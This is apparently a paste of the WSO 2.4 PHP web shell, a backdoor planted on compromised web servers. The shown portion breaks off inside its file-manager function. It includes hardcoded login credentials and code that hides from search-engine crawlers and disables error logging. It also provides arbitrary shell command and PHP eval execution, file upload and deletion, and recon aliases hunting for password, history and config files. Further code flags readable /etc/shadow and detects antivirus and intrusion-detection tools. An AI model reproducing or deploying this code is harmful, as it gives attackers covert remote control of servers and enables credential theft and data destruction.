· 10 years ago · Mar 06, 2016, 10:30 PM
1<?
2# Konfigurasyon
3$sayfaSifreleme ='1'; # 1 acik , 0 kapali
4$kullaniciAdi = 'adam';
5$sifre = '7878';
6
7# yetki kontrol fonksiyonu
8function yetkiKontrol($kullaniciAdi,$sifre) {
9if(empty($_SERVER['PHP_AUTH_USER']) || empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_USER'] != "$kullaniciAdi" || $_SERVER['PHP_AUTH_PW'] != "$sifre") {
10header('WWW-Authenticate: Basic realm="x"');
11die(header('HTTP/1.0 401 Unauthorized'));
12}
13}
14
15# Sayfa Sifreleme aciksa
16if($sayfaSifreleme =='1') {
17# Veri ve sifre kontrolu
18yetkiKontrol($kullaniciAdi,$sifre);
19}
20
21$color = "#df5";
22$default_action = 'FilesMan';
23$default_use_ajax = true;
24$default_charset = 'Windows-1251';
25if (!empty($_SERVER['HTTP_USER_AGENT'])) {
26 $userAgents = array(
27 "Google",
28 "Slurp",
29 "MSNBot",
30 "ia_archiver",
31 "Yandex",
32 "Rambler"
33 );
34 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
35 header('HTTP/1.0 404 Not Found');
36 exit;
37 }
38}
39@session_start();
40@ini_set('error_log', NULL);
41@ini_set('log_errors', 0);
42@ini_set('max_execution_time', 0);
43@set_time_limit(0);
44@set_magic_quotes_runtime(0);
45@define('WSO_VERSION', '2.4');
46if (get_magic_quotes_gpc()) {
47 function WSOstripslashes($array)
48 {
49 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
50 }
51 $_POST = WSOstripslashes($_POST);
52}
53if (strtolower(substr(PHP_OS, 0, 3)) == "win")
54 $os = 'win';
55else
56 $os = 'nix';
57$safe_mode = @ini_get('safe_mode');
58if (!$safe_mode)
59 error_reporting(0);
60$disable_functions = @ini_get('disable_functions');
61$home_cwd = @getcwd();
62if (isset($_POST['c']))
63 @chdir($_POST['c']);
64$cwd = @getcwd();
65if ($os == 'win') {
66 $home_cwd = str_replace("\\", "/", $home_cwd);
67 $cwd = str_replace("\\", "/", $cwd);
68}
69if ($cwd[strlen($cwd) - 1] != '/')
70 $cwd .= '/';
71if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
72 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $GLOBALS['default_use_ajax'];
73if ($os == 'win')
74 $aliases = array(
75 "List Directory" => "dir",
76 "Find index.php in current dir" => "dir /s /w /b index.php",
77 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
78 "Show active connections" => "netstat -an",
79 "Show running services" => "net start",
80 "User accounts" => "net user",
81 "Show computers" => "net view",
82 "ARP Table" => "arp -a",
83 "IP Configuration" => "ipconfig /all"
84 );
85else
86 $aliases = array(
87 "List dir" => "ls -lha",
88 "list file attributes on a Linux second extended file system" => "lsattr -va",
89 "show opened ports" => "netstat -an | grep -i listen",
90 "process status" => "ps aux",
91 "Find" => "",
92 "find all suid files" => "find / -type f -perm -04000 -ls",
93 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
94 "find all sgid files" => "find / -type f -perm -02000 -ls",
95 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
96 "find config.inc.php files" => "find / -type f -name config.inc.php",
97 "find config* files" => "find / -type f -name \"config*\"",
98 "find config* files in current dir" => "find . -type f -name \"config*\"",
99 "find all writable folders and files" => "find / -perm -2 -ls",
100 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
101 "find all service.pwd files" => "find / -type f -name service.pwd",
102 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
103 "find all .htpasswd files" => "find / -type f -name .htpasswd",
104 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
105 "find all .bash_history files" => "find / -type f -name .bash_history",
106 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
107 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
108 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
109 "Locate" => "",
110 "locate httpd.conf files" => "locate httpd.conf",
111 "locate vhosts.conf files" => "locate vhosts.conf",
112 "locate proftpd.conf files" => "locate proftpd.conf",
113 "locate psybnc.conf files" => "locate psybnc.conf",
114 "locate my.conf files" => "locate my.conf",
115 "locate admin.php files" => "locate admin.php",
116 "locate cfg.php files" => "locate cfg.php",
117 "locate conf.php files" => "locate conf.php",
118 "locate config.dat files" => "locate config.dat",
119 "locate config.php files" => "locate config.php",
120 "locate config.inc files" => "locate config.inc",
121 "locate config.inc.php" => "locate config.inc.php",
122 "locate config.default.php files" => "locate config.default.php",
123 "locate config* files " => "locate config",
124 "locate .conf files" => "locate '.conf'",
125 "locate .pwd files" => "locate '.pwd'",
126 "locate .sql files" => "locate '.sql'",
127 "locate .htpasswd files" => "locate '.htpasswd'",
128 "locate .bash_history files" => "locate '.bash_history'",
129 "locate .mysql_history files" => "locate '.mysql_history'",
130 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
131 "locate backup files" => "locate backup",
132 "locate dump files" => "locate dump",
133 "locate priv files" => "locate priv"
134 );
135function wsoHeader()
136{
137 if (empty($_POST['charset']))
138 $_POST['charset'] = $GLOBALS['default_charset'];
139 global $color;
140 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
141<style>
142body{background-color:#444;color:#e1e1e1;}
143body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
144table.info{ color:#fff;background-color:#222; }
145span,h1,a{ color: $color !important; }
146span{ font-weight: bolder; }
147h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
148div.content{ padding: 5px;margin-left:5px;background-color:#333; }
149a{ text-decoration:none; }
150a:hover{ text-decoration:underline; }
151.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
152.bigarea{ width:100%;height:250px; }
153input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
154form{ margin:0px; }
155#toolsTbl{ text-align:center; }
156.toolsInp{ width: 300px }
157.main th{text-align:left;background-color:#5e5e5e;}
158.main tr:hover{background-color:#5e5e5e}
159.l1{background-color:#444}
160.l2{background-color:#333}
161pre{font-family:Courier,Monospace;}
162</style>
163<script>
164 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
165 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
166 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
167 var p1_ = '" . ((strpos(@$_POST['p1'], "\n") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
168 var p2_ = '" . ((strpos(@$_POST['p2'], "\n") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
169 var p3_ = '" . ((strpos(@$_POST['p3'], "\n") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
170 var d = document;
171 function set(a,c,p1,p2,p3,charset) {
172 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
173 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
174 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
175 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
176 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
177 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
178 }
179 function g(a,c,p1,p2,p3,charset) {
180 set(a,c,p1,p2,p3,charset);
181 d.mf.submit();
182 }
183 function a(a,c,p1,p2,p3,charset) {
184 set(a,c,p1,p2,p3,charset);
185 var params = 'ajax=true';
186 for(i=0;i<d.mf.elements.length;i++)
187 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
188 sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
189 }
190 function sr(url, params) {
191 if (window.XMLHttpRequest)
192 req = new XMLHttpRequest();
193 else if (window.ActiveXObject)
194 req = new ActiveXObject('Microsoft.XMLHTTP');
195 if (req) {
196 req.onreadystatechange = processReqChange;
197 req.open('POST', url, true);
198 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
199 req.send(params);
200 }
201 }
202 function processReqChange() {
203 if( (req.readyState == 4) )
204 if(req.status == 200) {
205 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
206 var arr=reg.exec(req.responseText);
207 eval(arr[2].substr(0, arr[1]));
208 } else alert('Request error!');
209 }
210</script>
211<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
212<form method=post name=mf style='display:none;'>
213<input type=hidden name=a>
214<input type=hidden name=c>
215<input type=hidden name=p1>
216<input type=hidden name=p2>
217<input type=hidden name=p3>
218<input type=hidden name=charset>
219</form>";
220 $freeSpace = @diskfreespace($GLOBALS['cwd']);
221 $totalSpace = @disk_total_space($GLOBALS['cwd']);
222 $totalSpace = $totalSpace ? $totalSpace : 1;
223 $release = @php_uname('r');
224 $kernel = @php_uname('s');
225 $explink = 'http://exploit-db.com/list.php?description=';
226 if (strpos('Linux', $kernel) !== false)
227 $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
228 else
229 $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
230 if (!function_exists('posix_getegid')) {
231 $user = @get_current_user();
232 $uid = @getmyuid();
233 $gid = @getmygid();
234 $group = "?";
235 } else {
236 $uid = @posix_getpwuid(posix_geteuid());
237 $gid = @posix_getgrgid(posix_getegid());
238 $user = $uid['name'];
239 $uid = $uid['uid'];
240 $group = $gid['name'];
241 $gid = $gid['gid'];
242 }
243 $cwd_links = '';
244 $path = explode("/", $GLOBALS['cwd']);
245 $n = count($path);
246 for ($i = 0; $i < $n - 1; $i++) {
247 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
248 for ($j = 0; $j <= $i; $j++)
249 $cwd_links .= $path[$j] . '/';
250 $cwd_links .= "\")'>" . $path[$i] . "/</a>";
251 }
252 $charsets = array(
253 'UTF-8',
254 'Windows-1251',
255 'KOI8-R',
256 'KOI8-U',
257 'cp866'
258 );
259 $opt_charsets = '';
260 foreach ($charsets as $item)
261 $opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
262 $m = array(
263 'Sec. Info' => 'SecInfo',
264 'Files' => 'FilesMan',
265 'Console' => 'Console',
266 'Sql' => 'Sql',
267 'Php' => 'Php',
268 'Safe mode' => 'SafeMode',
269 'String tools' => 'StringTools',
270 'Bruteforce' => 'Bruteforce',
271 'Network' => 'Network'
272 );
273 if (!empty($GLOBALS['auth_pass']))
274 $m['Logout'] = 'Logout';
275 $m['Self remove'] = 'SelfRemove';
276 $menu = '';
277 foreach ($m as $k => $v)
278 $menu .= '<th width="' . (int) (100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
279 $drives = "";
280 if ($GLOBALS['os'] == 'win') {
281 foreach (range('c', 'z') as $drive)
282 if (is_dir($drive . ':\\'))
283 $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
284 }
285 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#00bb00><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
286}
287function wsoFooter()
288{
289 $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#25ff00'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
290 echo "
291</div>
292<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
293 <tr>
294 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
295 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
296 </tr><tr>
297 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
298 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
299 </tr><tr>
300 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
301 <td><form method='post' ENCTYPE='multipart/form-data'>
302 <input type=hidden name=a value='FilesMAn'>
303 <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
304 <input type=hidden name=p1 value='uploadFile'>
305 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
306 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
307 </tr></table></div></body></html>";
308}
309if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
310 function posix_getpwuid($p)
311 {
312 return false;
313 }
314}
315if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
316 function posix_getgrgid($p)
317 {
318 return false;
319 }
320}
321function wsoEx($in)
322{
323 $out = '';
324 if (function_exists('exec')) {
325 @exec($in, $out);
326 $out = @join("\n", $out);
327 } elseif (function_exists('passthru')) {
328 ob_start();
329 @passthru($in);
330 $out = ob_get_clean();
331 } elseif (function_exists('system')) {
332 ob_start();
333 @system($in);
334 $out = ob_get_clean();
335 } elseif (function_exists('shell_exec')) {
336 $out = shell_exec($in);
337 } elseif (is_resource($f = @popen($in, "r"))) {
338 $out = "";
339 while (!@feof($f))
340 $out .= fread($f, 1024);
341 pclose($f);
342 }
343 return $out;
344}
345function wsoViewSize($s)
346{
347 if ($s >= 1073741824)
348 return sprintf('%1.2f', $s / 1073741824) . ' GB';
349 elseif ($s >= 1048576)
350 return sprintf('%1.2f', $s / 1048576) . ' MB';
351 elseif ($s >= 1024)
352 return sprintf('%1.2f', $s / 1024) . ' KB';
353 else
354 return $s . ' B';
355}
356function wsoPerms($p)
357{
358 if (($p & 0xC000) == 0xC000)
359 $i = 's';
360 elseif (($p & 0xA000) == 0xA000)
361 $i = 'l';
362 elseif (($p & 0x8000) == 0x8000)
363 $i = '-';
364 elseif (($p & 0x6000) == 0x6000)
365 $i = 'b';
366 elseif (($p & 0x4000) == 0x4000)
367 $i = 'd';
368 elseif (($p & 0x2000) == 0x2000)
369 $i = 'c';
370 elseif (($p & 0x1000) == 0x1000)
371 $i = 'p';
372 else
373 $i = 'u';
374 $i .= (($p & 0x0100) ? 'r' : '-');
375 $i .= (($p & 0x0080) ? 'w' : '-');
376 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
377 $i .= (($p & 0x0020) ? 'r' : '-');
378 $i .= (($p & 0x0010) ? 'w' : '-');
379 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
380 $i .= (($p & 0x0004) ? 'r' : '-');
381 $i .= (($p & 0x0002) ? 'w' : '-');
382 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
383 return $i;
384}
385function wsoPermsColor($f)
386{
387 if (!@is_readable($f))
388 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
389 elseif (!@is_writable($f))
390 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
391 else
392 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
393}
394if (!function_exists("scandir")) {
395 function scandir($dir)
396 {
397 $dh = opendir($dir);
398 while (false !== ($filename = readdir($dh)))
399 $files[] = $filename;
400 return $files;
401 }
402}
403function wsoWhich($p)
404{
405 $path = wsoEx('which ' . $p);
406 if (!empty($path))
407 return $path;
408 return false;
409}
410function actionSecInfo()
411{
412 wsoHeader();
413 echo '<h1>Server security information</h1><div class=content>';
414 function wsoSecParam($n, $v)
415 {
416 $v = trim($v);
417 if ($v) {
418 echo '<span>' . $n . ': </span>';
419 if (strpos($v, "\n") === false)
420 echo $v . '<br>';
421 else
422 echo '<pre class=ml1>' . $v . '</pre>';
423 }
424 }
425 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
426 if (function_exists('apache_get_modules'))
427 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
428 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
429 wsoSecParam('Open base dir', @ini_get('open_basedir'));
430 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
431 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
432 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
433 $temp = array();
434 if (function_exists('mysql_get_client_info'))
435 $temp[] = "MySql (" . mysql_get_client_info() . ")";
436 if (function_exists('mssql_connect'))
437 $temp[] = "MSSQL";
438 if (function_exists('pg_connect'))
439 $temp[] = "PostgreSQL";
440 if (function_exists('oci_connect'))
441 $temp[] = "Oracle";
442 wsoSecParam('Supported databases', implode(', ', $temp));
443 echo '<br>';
444 if ($GLOBALS['os'] == 'nix') {
445 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
446 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>" : 'no');
447 wsoSecParam('OS version', @file_get_contents('/proc/version'));
448 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
449 if (!$GLOBALS['safe_mode']) {
450 $userful = array(
451 'gcc',
452 'lcc',
453 'cc',
454 'ld',
455 'make',
456 'php',
457 'perl',
458 'python',
459 'ruby',
460 'tar',
461 'gzip',
462 'bzip',
463 'bzip2',
464 'nc',
465 'locate',
466 'suidperl'
467 );
468 $danger = array(
469 'kav',
470 'nod32',
471 'bdcored',
472 'uvscan',
473 'sav',
474 'drwebd',
475 'clamd',
476 'rkhunter',
477 'chkrootkit',
478 'iptables',
479 'ipfw',
480 'tripwire',
481 'shieldcc',
482 'portsentry',
483 'snort',
484 'ossec',
485 'lidsadm',
486 'tcplodg',
487 'sxid',
488 'logcheck',
489 'logwatch',
490 'sysmask',
491 'zmbscap',
492 'sawmill',
493 'wormscan',
494 'ninja'
495 );
496 $downloaders = array(
497 'wget',
498 'fetch',
499 'lynx',
500 'links',
501 'curl',
502 'get',
503 'lwp-mirror'
504 );
505 echo '<br>';
506 $temp = array();
507 foreach ($userful as $item)
508 if (wsoWhich($item))
509 $temp[] = $item;
510 wsoSecParam('Userful', implode(', ', $temp));
511 $temp = array();
512 foreach ($danger as $item)
513 if (wsoWhich($item))
514 $temp[] = $item;
515 wsoSecParam('Danger', implode(', ', $temp));
516 $temp = array();
517 foreach ($downloaders as $item)
518 if (wsoWhich($item))
519 $temp[] = $item;
520 wsoSecParam('Downloaders', implode(', ', $temp));
521 echo '<br/>';
522 wsoSecParam('HDD space', wsoEx('df -h'));
523 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
524 }
525 } else {
526 wsoSecParam('OS Version', wsoEx('ver'));
527 wsoSecParam('Account Settings', wsoEx('net accounts'));
528 wsoSecParam('User Accounts', wsoEx('net user'));
529 }
530 echo '</div>';
531 wsoFooter();
532}
533function actionPhp()
534{
535 if (isset($_POST['ajax'])) {
536 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
537 ob_start();
538 eval($_POST['p1']);
539 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
540 echo strlen($temp), "\n", $temp;
541 exit;
542 }
543 wsoHeader();
544 if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
545 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
546 ob_start();
547 phpinfo();
548 $tmp = ob_get_clean();
549 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
550 $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
551 echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
552 }
553 if (empty($_POST['ajax']) && !empty($_POST['p1']))
554 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
555 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
556 echo ' <input type=checkbox name=ajax value=1 ' . ($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
557 if (!empty($_POST['p1'])) {
558 ob_start();
559 eval($_POST['p1']);
560 echo htmlspecialchars(ob_get_clean());
561 }
562 echo '</pre></div>';
563 wsoFooter();
564}
565function actionFilesMan()
566{
567 wsoHeader();
568 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
569 if (!empty($_POST['p1'])) {
570 switch ($_POST['p1']) {
571 case 'uploadFile':
572 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
573 echo "Can't upload file!";
574 break;
575 case 'mkdir':
576 if (!@mkdir($_POST['p2']))
577 echo "Can't create new dir";
578 break;
579 case 'delete':
580 function deleteDir($path)
581 {
582 $path = (substr($path, -1) == '/') ? $path : $path . '/';
583 $dh = opendir($path);
584 while (($item = readdir($dh)) !== false) {
585 $item = $path . $item;
586 if ((basename($item) == "..") || (basename($item) == "."))
587 continue;
588 $type = filetype($item);
589 if ($type == "dir")
590 deleteDir($item);
591 else
592 @unlink($item);
593 }
594 closedir($dh);
595 @rmdir($path);
596 }
597 if (is_array(@$_POST['f']))
598 foreach ($_POST['f'] as $f) {
599 if ($f == '..')
600 continue;
601 $f = urldecode($f);
602 if (is_dir($f))
603 deleteDir($f);
604 else
605 @unlink($f);
606 }
607 break;
608 case 'paste':
609 if ($_SESSION['act'] == 'copy') {
610 function copy_paste($c, $s, $d)
611 {
612 if (is_dir($c . $s)) {
613 mkdir($d . $s);
614 $h = @opendir($c . $s);
615 while (($f = @readdir($h)) !== false)
616 if (($f != ".") and ($f != ".."))
617 copy_paste($c . $s . '/', $f, $d . $s . '/');
618 } elseif (is_file($c . $s))
619 @copy($c . $s, $d . $s);
620 }
621 foreach ($_SESSION['f'] as $f)
622 copy_paste($_SESSION['c'], $f, $GLOBALS['cwd']);
623 } elseif ($_SESSION['act'] == 'move') {
624 function move_paste($c, $s, $d)
625 {
626 if (is_dir($c . $s)) {
627 mkdir($d . $s);
628 $h = @opendir($c . $s);
629 while (($f = @readdir($h)) !== false)
630 if (($f != ".") and ($f != ".."))
631 copy_paste($c . $s . '/', $f, $d . $s . '/');
632 } elseif (@is_file($c . $s))
633 @copy($c . $s, $d . $s);
634 }
635 foreach ($_SESSION['f'] as $f)
636 @rename($_SESSION['c'] . $f, $GLOBALS['cwd'] . $f);
637 } elseif ($_SESSION['act'] == 'zip') {
638 if (class_exists('ZipArchive')) {
639 $zip = new ZipArchive();
640 if ($zip->open($_POST['p2'], 1)) {
641 chdir($_SESSION['c']);
642 foreach ($_SESSION['f'] as $f) {
643 if ($f == '..')
644 continue;
645 if (@is_file($_SESSION['c'] . $f))
646 $zip->addFile($_SESSION['c'] . $f, $f);
647 elseif (@is_dir($_SESSION['c'] . $f)) {
648 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
649 foreach ($iterator as $key => $value) {
650 $zip->addFile(realpath($key), $key);
651 }
652 }
653 }
654 chdir($GLOBALS['cwd']);
655 $zip->close();
656 }
657 }
658 } elseif ($_SESSION['act'] == 'unzip') {
659 if (class_exists('ZipArchive')) {
660 $zip = new ZipArchive();
661 foreach ($_SESSION['f'] as $f) {
662 if ($zip->open($_SESSION['c'] . $f)) {
663 $zip->extractTo($GLOBALS['cwd']);
664 $zip->close();
665 }
666 }
667 }
668 } elseif ($_SESSION['act'] == 'tar') {
669 chdir($_SESSION['c']);
670 $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
671 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
672 chdir($GLOBALS['cwd']);
673 }
674 unset($_SESSION['f']);
675 break;
676 default:
677 if (!empty($_POST['p1'])) {
678 $_SESSION['act'] = @$_POST['p1'];
679 $_SESSION['f'] = @$_POST['f'];
680 foreach ($_SESSION['f'] as $k => $f)
681 $_SESSION['f'][$k] = urldecode($f);
682 $_SESSION['c'] = @$_POST['c'];
683 }
684 break;
685 }
686 }
687 $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
688 if ($dirContent === false) {
689 echo 'Can\'t open this folder!';
690 wsoFooter();
691 return;
692 }
693 global $sort;
694 $sort = array(
695 'name',
696 1
697 );
698 if (!empty($_POST['p1'])) {
699 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
700 $sort = array(
701 $match[1],
702 (int) $match[2]
703 );
704 }
705 echo "<script>
706 function sa() {
707 for(i=0;i<d.files.elements.length;i++)
708 if(d.files.elements[i].type == 'checkbox')
709 d.files.elements[i].checked = d.files.elements[0].checked;
710 }
711</script>
712<table width='100%' class='main' cellspacing='0' cellpadding='2'>
713<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
714 $dirs = $files = array();
715 $n = count($dirContent);
716 for ($i = 0; $i < $n; $i++) {
717 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
718 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
719 $tmp = array(
720 'name' => $dirContent[$i],
721 'path' => $GLOBALS['cwd'] . $dirContent[$i],
722 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
723 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
724 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]),
725 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]),
726 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i])
727 );
728 if (@is_file($GLOBALS['cwd'] . $dirContent[$i]))
729 $files[] = array_merge($tmp, array(
730 'type' => 'file'
731 ));
732 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i]))
733 $dirs[] = array_merge($tmp, array(
734 'type' => 'link',
735 'link' => readlink($tmp['path'])
736 ));
737 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && ($dirContent[$i] != "."))
738 $dirs[] = array_merge($tmp, array(
739 'type' => 'dir'
740 ));
741 }
742 $GLOBALS['sort'] = $sort;
